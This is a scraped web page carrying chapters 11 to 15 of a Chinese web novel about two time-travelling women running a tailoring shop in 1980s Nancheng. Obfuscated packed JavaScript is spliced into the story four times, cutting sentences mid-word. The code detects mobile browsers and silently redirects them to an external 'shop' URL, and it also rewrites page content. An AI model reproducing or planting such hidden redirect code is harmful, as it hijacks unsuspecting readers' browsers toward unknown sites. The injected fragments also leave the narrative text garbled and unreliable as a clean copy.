;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908302|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏念初点钱数，对得上，点了一下头。 他留下照片，写下了他父亲的尺寸，匆匆离开。 苏念初特意跑门口去确认他是否真的走远，待他走远后，她关上了门。 小声议论道:“他怎么会来找我们做衣服，前世的恩怨他不可能不知道吧。” “别想太多了，我们做我的生意，他们要是真想干点见不得人的事情，随他们干吧，我们自有办法应对。” “也是，管他三七二十一，我只知道有钱不赚王八蛋。” 车到山前必有路。 到了晚上，她们盘点第一天的收获。 苏念初数着钱，林知许在账本上记下了第一笔。 崭新的账本，崭新的一页，写着一行楷字。 【一九八五年十二月十八日，开业第二天。 订单六个，收取定金加全款四十】 窗外夜已深，林知许站在门口，望着路灯下的“云想阁”良久才关门。 夜色中的南城朴素，带着烟火气，附近的楼上的烟囱还冒着烟。 楼上，苏念初一边哼着小曲——《在希望的田野上》，一边摆弄着锅碗瓢盆，一听就是在做饭。 来这些天，早就沾染上了时代的气息。 广播里播放的激昂的曲子，多少都学会跟着哼。 苏念初唱歌跑调，在其他人面前从来不唱歌，也就在林知许面前才会自发的放松唱歌。 —— 她们在现代的那个工作室，谈成的第一笔大单子后，喝了不少的酒。 苏念初喝的烂醉如泥，林知许一路把她扛回来了她们的家。 回家后，她唱个没完没了。 林知许一边嘴着说着嫌弃的话，一边注意着她的动态。 —— 她进门，坐在工作台上想起前世，林兰芷在云想阁开张那天，在日记里写的话： 【今日云想阁开张，客人不多，但吾心悦。吾和筠霞从想到干，这一步终于走了出来。仔细想来，一针一线，皆为热爱，吾心更暖。愿云想阁如云一般广纳天地，如阁一般珍藏美好。】 几十年后，林知许也同样深有感触。 林知许拿起笔，在新日记本的第一页，写下： 【一九八五年十二月十八日，云想阁重开。客人不多，好在是个不错的来事。 路漫漫其修远兮，我将继续和苏念初一同求索。知前路难，知前世因，我当不复前世之名，顺时代新风，扬帆起航。】 合上日记本，她转身上楼。 苏念初今日做了三个菜，早上去买了新鲜的牛肉。 那饭菜香，可以说是香飘十里。 “吃饭了，我的林大小姐。” “来了，苏小姐。” 昏暗的灯光下，照着两位年轻漂亮的女子，她们举杯欢庆。 “开业快乐” 她们端着茶，茶杯轻碰，声音清脆。 敬过往、敬未来、敬云想阁…… 窗外，漫长的南城冬夜，屋内是早就生好的炉火，暖着两人的身心。 前路漫漫，她们会继续远行。 属于云想阁的故事，还在继续开展。 云想阁的内核，还在继续传承。 对美的追求，对技艺的延续，对人穿衣的尊重。 在全新的时代，开展全新的面貌。 12. 第 12 章 云想阁开业第七天，窗外下起了今年第一场雪。 两人一同推开店门时，细小的雪花随风飘入，落在地板上。 两人冷的直哆嗦，同步紧了紧身上的棉袄。 “今天冬天来的还真是早哦。” “这样下去，生意就更不好做了。” 下雪天，愿意出门的人不多，大多是为了生计。 回屋后，林知许拿着账本坐在饭桌上看。 看着零零碎碎的账目，发起了愁。 “冬天的衣服贵，很多人根本就没钱买，更何况我们的成本也高，讲不了价。” “是啊，确实不好办，大多数人都会选择性价比高的衣服。” 苏念初一边在厨房忙活，一边回应着她的话。 她端着两碗热粥，放在桌子上，把她手里的账本拿开。 “先吃吧，我的林大小姐，吃饱了才有力气想办法啊。” 两人喝着粥，林知许看着稀粥，吐槽道:“今天的粥怎么没米啊，苏大厨？” “家里穷的揭不开锅了，你自己不也说没生意吗？” “喏，就是你看到的这样。” 林知许皱着眉头，思考着破局的办法。 她这人怕麻烦，也担心麻烦到别人。 她想到了刘师傅，但她还是只字未提。 苏念初见她这样，开玩笑说道:“你怎么不找你徒弟的徒弟帮忙，也算是半个徒弟吧。” “你这话说的，你怎么不去，站着说话不腰疼。” “我哪里站着了，我明明是坐着。” “还有，你就庆幸我腰不疼。不然，本就不富裕的家庭将会雪上加霜。” 林知许一直犹豫不决，苏念初这玩笑话正巧说到了她的心坎上。 “我去找刘师傅，看看有什么生意可做的。” “真去啊。” “不去，怎么养这个家。” 林知许走之前，苏念初从柜里拿出了一条她亲手织的围巾。 雪渐渐大起来，苏念初原想跟着她一起去，被她拦下。 “总要有人守着店的，我就出去一会很快就回来。” —— 林知许刚走到门口，门卫张叔一眼就认出了她，从小窗探出头：“小姑娘，你咋个来了。回来看看吗？” “张叔好，我来找刘师傅的。” “我看刘师傅去仓库了，这会应该还在。你去的时候小心点，路不好走。” 仓库在厂区最里头，是个老旧的大棚。刘师傅正和两个年轻工人在清点一批积压布料，拿着本子一笔笔核对。 抬眼瞧见林知许，喊了一声:“林同志，你来是有什么事吗？” 林知许先是寒暄了一句:“刘师傅，好久不见啊。” 犹豫片刻，轻声说道:“其实我是有事想找您帮忙。” 刘师傅把手里的本子交给了其中一位年轻人，带着林知许走到了仓库角落。 这里堆放着有些瑕疵的布，虽然料子是好的，但是染色不均，没有达标无法投入生产。 林知许摸了摸布料，是混纺的，质地还行，如果加以手工改造可以做一件不错的衣裳。 “刘师傅，你们这个布料卖吗？” “这是瑕疵品，你要买的话，找王主任说一声就成，原本是要扔的。” 刘师傅带着林知许去了王主任办公室，刚进门就看到王主任拿着保温杯喝茶。 “王主任好。” 王主任听声才反应过来，放下了手里的杯子。 “刘师傅，林同志，你们来是有什么事？” 林知许开门见山:“我想买点瑕疵品。” “买布，怎么不买好的，那些都没什么用了，你可要想清楚。” 林知许语气坚定:“您只管给个准话，卖与不卖便好。其他的，我自有法子。 王主任楞了片刻，“我知道你有法子，所以这布你要拿就拿去，反正是厂里不要的。” “王主任，您还是公事公办，走个手续，我出钱买。” 王主任摆了摆手，“罢了，那就按废品价卖你。” 林知许交了钱，拿了单子，从他办公室往外走。 小芳在林知许路过生产科的时候，就瞧见了她。见她要回去，叫住了她。 “林姐姐，你来怎么也不说来看看我。” 林知许温柔的回应着，“小芳，我来是有事要忙，所以今天可能没空叙旧，改天你来我店里，我们好好聊聊。” “那你这是要干嘛去？” “我想借一下厂里的板车，拉布用。” “这个好办。” 小芳二话不说就跟领导请了半天的假，帮林知许一同拉板车。 雪下得急，路上的积雪到了脚踝骨，好在有小芳的帮助，这段路也没那么难走。 回到云想阁时，已是中午。 苏念初看着两个冻红的面容，赶忙上前帮忙搬布料。 屋内原本是一点点炭火，两人坐下后苏念初特意多添了些。 坐下不久，小芳就着急要走。 她坚持要走的理由也很简单，厂里就批了半天的假，她要信守承诺，半日回去。 林知许和苏念初二人轮番劝说，都没能留住，只好送她到门口，目送她离开。 屋里暖和一阵，林知许又开始挑选布料，将染色不错的挑出，在桌面上铺开。 布料上的色斑像水墨画，深的地方近黑，浅的地方泛白。 林知许指着色斑，“你看，这个不就是天然的图案嘛？” 她拿起粉饼，直接在布上画线。顺着色斑的边缘，裁出不对称的衣片。 “我们可以用这个做里衣，每个都有自己的特点。” 苏念初回应着她的话:“这不就是孤品吗？每一件都是独一无二的。” 想法一出，两人即刻动手。苏念初裁剪，林知许缝制。 第一件衣服完工时，天色已晚。 两人把衣服挂在灯下，不规则的颜色分布，一种自然随性的美感油然而生。 “我们给它取个名字吧？” “叫什么好呢？” “墨染，如何？”林知许提议。 苏念初盯着这件成品看，点头道:“其实像水墨画，就叫这个，不错不错。” 苏念初问道“还有一个问题，我们该怎么定价？” “定价不能太高又不能太低，十块如何？” “会不会贵了点，我前些天去百货大楼看价的时候，都是几块钱的。” “我们卖的不只是成衣，还有设计。” 她想了想：“明天开始，我们得加一项业务，成衣售卖，着手准备‘墨染’系列的进一步研发。” —— 接下来三天，她们日夜赶工。 林志许设计，苏念初辅助，一共做出八件“墨染”系列：四件上衣，两条半身长裙，两件外套。 每件都巧妙利用色斑，混入一些恰当的元素，制成独一无二的单品。 第四天，她们把成衣挂到店外，用简易的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908303|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木架支着。 雪后初晴，阳光正好洒落在这些衣服上，显得更有层次和意境。 这几件成衣，一下吸引了不少目光。 “这衣服还真别致……” “这颜色搭配可真特别……” “怎么感觉花里胡哨的……” 议论的多，买的少。 一个上午，只卖出去一件半身长裙，是个年轻女教师买的。 下午，转机来了。 两个烫着卷发、穿呢子大衣的年轻女子走进店里。正巧路过这里，被衣服吸引进了店。 “这些都是你们自己做的？”高个女子问。 苏念初耐心介绍着:“这些都是我们一针一线缝制出来的，保准和外面的不一样。” 矮个女子拿起一件外套试穿，“这色彩搭配还真是特别，怎么卖啊？” “你手上这件，外套用的料子多些，当对应会贵点，二十，你看成吗？” 两人爽快的买下了两件外套。 付钱时，高个女子说：“我们是市文化馆的，我们文化馆下个月有个青年艺术展，收集有特色的展品。” 矮一点的女子接着说:“你们这些衣服，看着就不错，我们想拿去展览。知道你们做生意也不容易，我们肯定不白借，每件衣服给五块的展览费如何？” 苏念初和林知许听到这话对视了一眼，苏念初立马应声:“那敢情好啊。” 矮个女子说，“我们要十件，要不同款式的，半月后交货。这是定金，五十。” 收了定金，送走客人，苏念初把五十块钱攥在手里，笑得合不拢嘴。 “你能不能收起你这副不值钱的样子，牙露在外面，你也不嫌冷。” “我不值钱没关系，挣到钱了啊，你明明很开心还在那里假装冷静。” 定金是拿到手了，可这货可不容易成。店里只有她们两人，要赶十件定制，还要维持日常生意。 人手这方面，还是个大问题。 “看来我们得招人了。”林知许喃喃道。 “现在临时招人不好招吧，而且靠谱一点的基本都被收编了，哪里还轮到我们。” 林知许想了想：“小芳如何？” “她真愿意来我们这个小地方？” “试试才知道。” —— 林知许当天就去厂里找了小芳，她答应着第二天过来具体商议。 小芳是第二天晚上来的，她穿着一身打眼儿的红色，扎着高马尾，整个人精神气足的很。 林知许招呼她坐下，倒了一杯热茶。 “我昨天就简单说了一下，今天我想跟你细说一下。我们店现在订单多了些，人手不够，你要是来的话，需要干的活很多，你真的愿意吗，” 小芳用力点头：“想！我做梦都想。我在厂里的时候就只能做些简单反反复复的工作，真的很想有机会能学手艺，做一件像样的衣服出来。” 苏念初之前干过招人的活，可以说是一人分成多半用吧。 她接着填补一些细节:“我们这里干活的活，基础工资不比厂里，另外就是多劳多得，计件工资，你可要考虑清楚。” 小芳一听到她说完，立马就回了句:“我愿意。” 林知许和苏念初两人一同拍板:“欢迎你，小芳同志。” 小芳临走前，苏念初补了一句:明天开始上班。 小芳欢喜的很，回去的路上，蹦蹦跳跳的。 人手问题暂时缓解。但新的挑战，来得比想象中快。 13. 第 13 章 平静的风吹了好一阵，凉意悄悄跟着来了。 三天后的下午，一个穿着中山装，戴着眼镜，手里提着公文包，干部做派的中年男人来了店里。 苏念初像往常一样问候:“同志，可是来做衣服的？” 男人摆了摆头，从公文包里拿出一张纸:“我是轻工局的，姓赵。有群众举报你们无证经营，我来核实一下，请配合我的工作。” 两人想起王主任说过的话，营业执照的申请是递交上去了，但审批还需要些日子。 林知许拿出一张受理回执单，冷静回复:“我们的申请正在受理之中，应该马上会有着落的。” 那人接过看了看：“受理不等于有营业执照，你们这种行为严格来说就是无证经营。” 那人在本子上记了几笔，“根据规定，无证经营要罚款，情节严重的要取缔。” 听到要取缔，两人心里一紧。 他顿了一下:“不过……” “你们的情况不算太严重，交罚款就行，要是下个月还没办好，就要休业。” 缓了口气，林知许回应道:“同志，我们一定努力办，还有就是这罚款是多少？” 那人公事公办:“罚款五十，今天交，我会给你开一张收据。” 林知许从抽屉里拿出钱，数了五十交给了他。 交钱，拿收据。 那人临走前说：“还有人反馈你们的布料质量不达标，按道理来讲是不准流入市场，下次注意点。” 他走后，店里的气氛缓和了一些。 “一看就是钱家人的做派，刚开业就来找我们做衣服，哪个知道是不是来刺探情况的。” 林知许看着收据，无奈摇头:“那能怎么办，我们个体户势单力薄的，本就难，人家要存心使绊子，我们也只能照单全收。” “你怎么突然泄气了，是哪个当初说的，见招拆招。” “哎呀，我就是随口一说哪里真的要放弃了。” “对了，我们要不还是再找王主任帮帮忙，他应该会帮的吧。” “还是换个法子吧，王主任哪里开口答应一次两次还好，一直找也不是个事。” 苏念初转念一想，“那苏州的那位老太太如何？” 林知许想了想，沈家人也算故交，值得一试。 她当天晚上就给沈家老太太写了信，简单说了情况，问有没有办法加快执照审批。信寄的是挂号，快一些。 等待回信的日子里，她们更加小心。每天记账，每笔进货都留凭证，成衣也做了简单的销售记录。 小芳也很给力，已经可以独立上手店里衣服的缝制工作。 但麻烦接踵而至。 回信未收到，先是房东太太来，说有人问她这房子租给谁了，干什么的。“我说租给两个姑娘做裁缝，那人问有没有营业执照，我说应该是有，不太清楚。” 房东太太小声提醒道:“你们是不是得罪人了？” 两人一副没事人的模样，不想让人家操心。 接着布料供应又出了问题。刘师傅悄悄告诉林知许，厂里的瑕疵布没发卖，只能统一销毁。 最麻烦的还是店里的客人少了，每天三五个客人，有时一个人都没有。 小芳过来上班的路上，听街坊里八卦。 她们说云想阁无证经营不正规，又说给她们用的都是不好的布料，存心以次充好。 字字句句，都表露出来一句话:云想阁关门。 晚上关店后，三个人坐在工作台边，气氛沉重。 小芳问道:“两位老板，你们是有什么打算吗？” 苏念初叹了几口气，“暂时还没想到。” 小芳接着问:“那我们接下来怎么办？” 林知许看着墙上挂的“墨染”系列。那些独特的单品在光的照射下，格外美丽。 林知许不紧不慢的回道:“店还得开下去，就是我们现在得改变策略，买玩好的布料，做出精品来。” “精品，听起来不错。”小芳肯定道。 苏念初应答道:“没错，我们要用就用好料子，做一件让大家都惊叹的作品。” 林知许站起身，从盒子里拿出纹样:“我们就用这个纹样，做一件旗袍，真丝底，手工绣，所有都用最好的。做完后，就挂在店里最显眼的位置，让大家看看我们的水准。” “那会不会要很多钱，你们要是缺钱的话，我愿意贴补一点，我能帮的就这么多了。”小芳小声说。 苏念初拿着铅笔在旧报纸上写写画画，粗略计算了一下成本。 “一百左右吧。”她说。 她们手头上拢共就一百来块，不成功便成仁。 苏念初问道:“看来我们得来一次大冒险，你们怎么看？” 林知许语气坚定:“那就赌一把，看我们能奔成什么样。” 小芳也说:“我跟着你们走，我相信你们。” 三人原地打气，连喊了几声“加油”。 —— 真丝面料在南城很难买到，林知许特意跑了趟苏州，在沈家老太太介绍的老师傅那里，挑了一匹月白色的素绉缎，光泽温润，质地柔滑。 绣线选了八种颜色的真丝线，从浅到深，用来绣“清韵”的缠枝莲纹。里衬是柔软的抗绉绸，盘扣用的珍珠扣头，一粒粒小而圆润。 回来后，林知许一心扑在制作“清韵”旗袍上。 她把自己关在楼上设计室，整整两天。画图，修改，再画图。苏念初每次进房间都轻手轻脚，生怕打搅了她。 苏念初把饭放在一旁的桌子上，每次林知许都忘了吃，苏念初热了几次才吃。 最耗时间的还是刺绣，一针一线都有讲究。苏念初每次进房，都能看到林知许认真绣的模样。 第七天晚上，旗袍主体完成。月白的底色，淡绿色的莲花叶，真丝面料在光说的招摇下就像是月光撒在了荷塘边，清晰透亮。 第八天，上盘扣。第九天，整烫。蒸汽熨斗小心地抚过每一寸面料，呈现真丝最好的触感 第十天，完工。 当林知许拿着旗袍下楼时，苏念初和小芳都赞不绝口。 衣服挂在人台上，在晨光中缓缓旋转。它静静的立在人台，无声的宣告着衣服的美观大方。 小芳问道:“这个可有名字？” “就叫‘清韵’。”林知许说，“这是它原来的名字。” 延续传统，赋予新生。 她们把旗袍挂在店铺最中央的位置，用最好的灯光照着。下面立了个小牌子，手写着： “清韵”旗袍 云想阁传世之作 真丝手工品 非卖品，仅供观赏 挂出去的当天，就引来好一阵的轰声。 第一个进来的是隔壁杂货铺的老板娘，本来只是好奇看一眼，结果站在旗袍前挪不动步：“这衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908304|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服做的可真好，得多少钱啊？” 苏念初笑着回应:“姐姐，这衣服我们不卖，挂上去是为了让大家看看我们的手艺。” 她打量了好一会，叹息小声念叨着:“不卖，有点可惜……” “不可惜的，好东西，放在哪里就有意义。”苏念初耐心回复。 老板娘走后，消息像风一样传开。 下午，店里挤满了人，街坊邻居和各方听到消息的人都上前瞧瞧这跨越时代的真品制作旗袍。 “这手工做的可真巧，有老手艺人的手艺……” “这一看就是真丝的，看上去就很不错……” “这么好的衣服不卖，可惜……” 人来了又走，走了又来。云想阁从没这么热闹过。 傍晚，来了两位熟客，之前说要拿衣服去展览的两位市文化馆的干事。 高个子走过来，笑意绵绵:“一大早就听说云想阁有件绝世好品，下了班赶紧过来瞧瞧，果真不错。” 矮个女子仔细看了很久，转向林只许：“林同志，下个月的青年艺术展，我们想邀请这件作品参展，作为‘传统工艺现代化传承’的代表作。你觉得如何？” 林知许和苏念初对视一眼。 “只展览的话，我们当然是再乐意不过了。”苏念初笑着回应道。 “那当然了，我们就是想展览。” 高个女子兴奋地说，“而且我们还想请林同志在现场的时候，简单演示一下手艺。不知道你愿不愿意？” “愿意，我们肯定会去。”林知许语气兴奋。 “那真是太好了，我们正想着如何办一个特殊的展览，正巧碰上你们这件衣服。” “我们也感到很荣幸，双赢嘛。”苏念初和林知许上前和二位握手。 她们留下邀请函，约定布展时间，笑脸盈盈的走了。 人散后，店里安静下来。夕阳透过玻璃窗照进来，“清韵”旗袍在光照下更显韵味。 苏念初兴奋的和林知许说道:“不愧是你，林大小姐真厉害。” 林知许看着旗袍满意的笑:“那是自然。” 小芳在擦工作台，过来搭话：“林师傅，今天有好几个人都说想买件这样的。她们说这个买去婚礼上穿，肯定没得很，问咋个能买。” 林知许思考片刻:“那你可以说一下，我们能卖改良的旗袍但工艺会简单一些。” 那天晚上，她们又看上了账目。订单多了些，大多都是定制旗袍的人。 如此看来，云想阁的口碑渐渐回来。 睡前，林知许想起白天沈家老太太的回信，信很短： “信里提及的执照之事，我已经托人问过，很快就会办下来。除此之外，还有一事，苏州刺绣厂，想与你们合作，联合开发新工艺品，如有想法，可来苏州与我详谈。 两人在灯下，看着这封信。 “这么说，我们可以走向苏州，那以后是不是要走上全中国。”苏念初开始幻想“你说我们是去北京还是去上海，是买车还是别墅……” 林知许轻轻弹了一下苏念初的脑壳，“你啊，少做点梦，多做几件衣服好不好。” 夜色中，南城的灯火次第亮起。云想阁的招牌，又一次亮起。 那些难过的日子，又一次回去。 前路漫漫，未来的路还长…… 手中线，在指尖盘旋。 心中的那盏灯，越发的明亮。 14. 第 14 章 开年的第三天，阳光正好透过梧桐树叶洒在云想阁的玻璃窗上。 苏念初正在擦拭玻璃，门口的风铃响起。 一辆黑色的南城牌轿车停在门口，从车里走出一位穿着黑色呢子大衣，手里提着个黑色皮质公文包的中年女子。 她在门口仔细瞧见了“云想阁”三字，这才进门。 苏念初放下手中的抹布，礼貌地问候：“您好，请问可是来买衣裳的？” 那女子说话气息平稳，整个人就像是沉稳的老干部。 “我想找一下林知许同志。” 林知许闻声走来，“您好，请问您找我有什么事？” “我是市政府的，姓陈。” 陈主任打量着她，微微点头，目光在店内扫视一圈，最终落在了那件“清韵”旗袍上。 她看了好一会才开口:“林同志，是这样的，我看你的手艺不错，想找你做婚服。” 她从公文包里拿出一张照片，照片上是一位二十出头的年轻女孩，烫着时髦的卷发，穿着连衣裙，那背景是在伦敦的一所大学里。 陈主任在她看的时候，在一旁讲解:“这是副市长的千金，李晓芸同志。” “是给她做吗？” “是的，副市长的千金看了你们的那个展览后，指定要你们做。” 见两人还在犹豫，陈主任缓缓开口:“原定的设计师出了一些意外，但这个婚礼的婚期定了，请帖都发出去了没法改，我们很希望二位可以接下。如果二位考虑清楚了的话，我可以先付定金五百，等最终完成时会再补上五百，你们看怎么样？” 一千，这在一九八六年，这可是笔大数目。 苏念初和林知许两人看着对方，都有些为难。 这件事做好了对云想阁未来的发展简直就是活生生的招牌，做不好就会葬送云想阁的前程。 两人眼神对上了一会，那个属于两人的暗号又一次对上。 林知许眼神坚定，语气柔和:“我接，不过我想知道一些具体的要求。” 她把照片轻轻放在工作台上：“晓芸喜欢西式风格，而副市长的意思是希望有中国元素，所以具体怎么做，还得看你们自身的能力，如何把握好中西的结合。” 陈主任话音刚落，就从公文包里拿出一个信封，里面装有钞票。 林知许接过信封，五百确实沉甸甸的。 “对了，我想面对面和副市长的千金沟通一下，还有具体的尺寸方面的测量之类的。请问方便约个时间见一面吗？” 陈主任语气平和:“明天下午三点，副市长家见，你去的时候报自己的名字就好。” —— 下午两点五十分，林知许和苏念初一同来到副市长家楼下。 在三点的时候，准时按下门铃。 开门的正是副市长的千金，那人比照片还要好看，穿着颜色艳丽的裙子。 “林师傅，苏师傅，好久不见啊。” 她认得她们，难道又是一位故人。 苏念初对她实在提不起印象，但还是熟络的回了一句:“是啊，好久不见啊，李小姐，又变漂亮了。” “先请进。”她招呼着二人在客厅的老式沙发坐下。 一人坐在一旁的椅子上织毛衣，李晓芸走到跟前和她介绍道:“妈，这就是当时我说的很厉害的两位师傅。” 李太太抬起头，两眼仔细看着二人，透露着欣然的笑容:“你们两位小姑娘，还真是年轻有为啊。” 苏念初和林知许二人谦虚回应:“谢谢，我们资历尚浅，会继续努力的。” “我看过你们的作品，没有西式的，都是中式传统的服饰，你们当真会做有西式元素的衣裳？”李太太开始接入正题。 林知许从前就做过婚纱系列的，这对她来说并不难。 她回答的从容淡定:“光说可能很难让你们信服，所以我想简单演示一下。” “请便” 林知许从包里拿出速写本，简单画了几款传统的西式婚纱——蓬裙、大拖尾、大量蕾丝。 但如果加上中式的元素，又保留西式的特色，就需要从细节着手。 从领口、袖口、腰间等地方融入中式的刺绣。在裙摆的内侧，绣上中式的传统纹样。 她简单几笔的画作，最终呈现出一个蓬度恰好，中式领口，袖口和腰间的独特设计，裙摆内测若隐若现的云纹的改良版婚纱。 李晓芸看着画本，整个眼睛都亮了:“哇，这个真不错，我喜欢。” 李太太也凑过来仔细端详：“可以是可以，那敬酒服你们想怎么做。” 苏念初接下话茬:“敬酒服不能太过繁重，我们初定的是旗袍，如果你们想看初步效果的话，我有一个不错的想法。” 林知许将速写本递给苏念初，她在纸上快速勾勒出一件青绿色的改良旗袍。 “这个我也喜欢，妈你怎么想？”李晓芸看着甚是满意。 “这个颜色，是不是不太妥当？” “青绿色，典雅，您要是实在介意我们可以换成红色，一切由你们的喜好而定。” 李太太顿了顿，盯着那张设计图看了好一会。 良久开口:“那先照着你们的想法来，不过你们真的能保证做成画的这个样子吗？” 林知许慢条斯理回应道:“想证明我们能否做到这个效果倒是不难办，我们可以做样品，给你们先看看，如果满意的话我们可以做更精致的改良。” 听到这话，李太太这才点头:“三日后，希望你们可以做出让女儿满意的样品，毕竟这是她的婚礼。” 量尺寸时，林知许量的格外仔细。 “你平时站立时，习惯重心放在哪只脚？”她边量边问。 李晓芸不解的问答:“这个和量尺寸有什么关联吗？” 林知许耐心的解释道:“不同的习惯会影响衣服合不合身，穿着舒不舒服。” 李晓芸笑了：“原来这里还有这么多讲究啊。我坐着的时候会有些驼背，站着的时候重心一般在右脚。” “那我可以在腰线设计上稍微调整，这样可以在视觉上改善体态。” 量完尺寸，林知许又详细询问了婚礼场地的布置风格、灯光颜色、宾客规模等细节，这些都会跟礼服的颜色选择和布料选择有关。 离开时，李晓芸送她到门口：“林师傅，苏师傅再见，期待你们的样品哦。” “我们一定尽力。” 在回去的路上，苏念初想了好一阵。 她顿悟，想起一些事，和林知许念叨。 “我说副市长的千金怎么会指名找我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908305|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？原来，我们真和她见过。” “在哪里？” “去省城的火车上，她也在，就坐我们对面，我们聊了好久，你当时在睡觉估计不记得了。” 这个世界还真是小，缘分还真是奇妙的东西。 回到云想阁后，她们开始分工做样品。 那一晚，云想阁的灯光一直亮到凌晨三点。 —— 样品做了三个版本。 第一个传统元素占的多些，修身A字裙，小立领，长袖，只在腰际点缀一枚珍珠盘扣。 第二个设计上面更加大胆， V领，露肩设计，裙摆上面绣着细密的缠枝莲纹。裙身是素缎，在光线转动时，能看见隐隐的暗纹。 第三个创新更多，运用了“清韵”纹样的变形，将缠枝莲解构成线条，若隐若现的云纹和兰草纹。 三天后，她们带着三个小样再次登门。 李晓芸一眼就看中了第三个：“这个我喜欢，感觉很有韵味。” 李太太仔细检查绣工的精细程度：“这银线会不会掉色？” “用的是真丝银线，做过固色处理，不会掉色。”林知许保证道。 “那敬酒服的小样呢？” 林薇又拿出青绿色旗袍的两个小样版本：一个绣云纹，一个绣兰草。 李晓芸选择了兰草图案，感觉更清雅。 设计定下后，接下来是选料。婚纱主料选了进口的厚缎，垂坠感不错。 里衬用真丝软缎，亲肤透气。 绣线全部选用真丝线，颜色从银白到浅灰共七种，绣出纹样可以有层次和过渡。 敬酒服的面料选了苏州产的素绉缎，绣线是同色系的丝线，深浅不一。 所有材料，林知许都亲自把关，耗费了两天的时间。 材料备齐，正式开工。 林知许主攻婚纱部分。裁剪那天，她每一剪刀都是又准又稳。 刺绣是最耗时的环节。那些缠枝莲纹，看似简单，但每个转折、每个交接处都要处理得干净利落。 林知许每天刺绣超过十小时，眼睛酸了就滴眼药水，手指磨破了就换另一只手继续。 苏念初负责旗袍的制作，小芳打下手，处理辅料和基础缝制工作。 第十天，婚纱主体完工。林知许设计了特别的盘扣，长条形，做成缠枝莲枝蔓的形状，用银线缠绕而成，末端镶嵌一颗小小的珍珠。 旗袍的制作相对简单，但苏念初在细节上下了更多功夫。兰草绣得疏密有致，叶片有正有侧。领口内侧还绣了李晓芸名字的缩写“LXY”，极小，只有本人才注意的到。 第二十五天，两套礼服基本完工。最后一次试穿，当李晓芸穿着婚纱从里间走出来时，李太太笑容满面。 她喃喃道:“好看，真是好看。” 婚纱合身，银线刺绣在灯光下泛着柔和的光泽。走动时，裙摆内侧的暗纹若隐若现，含蓄而又典雅。 旗袍更显气质，兰草清雅脱俗，腰身收得恰到好处。 李晓芸在镜前转了个圈，裙摆轻轻扬起，“这个礼服比我想象中的还要好看，谢谢你们。” —— 送走客人后，两人又想到了新的难处。 这礼服，有被人破坏的风险，可如何未雨绸缪还真是难办。 15. 第 15 章 婚礼前三天，她们担心的事果真发生了。 晚上八点多，林知许正在做最后的检查，忽然听见楼下传来玻璃碎掉的声音。 她冲下楼一看，临街的窗户玻璃被砸碎了一大块，碎片正好在挂着婚纱的人台旁边。 她急忙检查婚纱的破损情况，好在并无损坏。 但旁边挂着的一件样衣被玻璃碴划破了一道口子。 苏念初拿着扫把冲出门去，街上空无一人，只有一阵晚风吹过。 林知许追过去，把她拉了回来。 “要是让我逮到是那个龟孙，我让他爬起走。”苏念初越说越气。 林知许很快接受了这一情况，无非就是钱家派人来搞的。 她冷静说道:“我们先好好收拾，婚礼才是最要紧的，其他的秋后算账也不迟。” 她们清理了碎玻璃，用木板暂时封住窗户缺口。那一夜，两人轮流值班，寸步不离地守着两套礼服。 第二天，又有新的麻烦找上门。面料供应商突然说之前预定的辅料丢失，补货要在一个月以后 。 苏念初气的大声喊道“你们到底怎么办事的，到底能不能行？” “我们也无能为力，这个纯属意外。我们愿意退还定金作为补偿。” 昨天的砸玻璃，今天的缺货，这明显就是有人使绊子。 苏念初还在生气之中:“谁稀罕他们家的，我们自己买肯定也能买到好的。” “对，不稀罕。” 林知许接着说道:“接下来，我们多跑跑百货商店和供销社，总能找到合适的。” 小芳也回应道:“我不怕麻烦，我愿意去。” “那我们一起加油!” 三人跑遍了南城所有的百货商店和供销社，凑齐了需要的辅料。 婚礼前一天，林知许将两套礼服从头到尾检查了三遍。然后仔细装箱，亲自送到副市长家。 李太太看到她们眼下的黑眼圈，轻轻叹了口气：“听说你们店里出了状况，你们还好吧？” 苏念初轻猫淡写回答:“没事的，李太太，多谢你的关心。” 李太太轻声回应道:“那就好。” 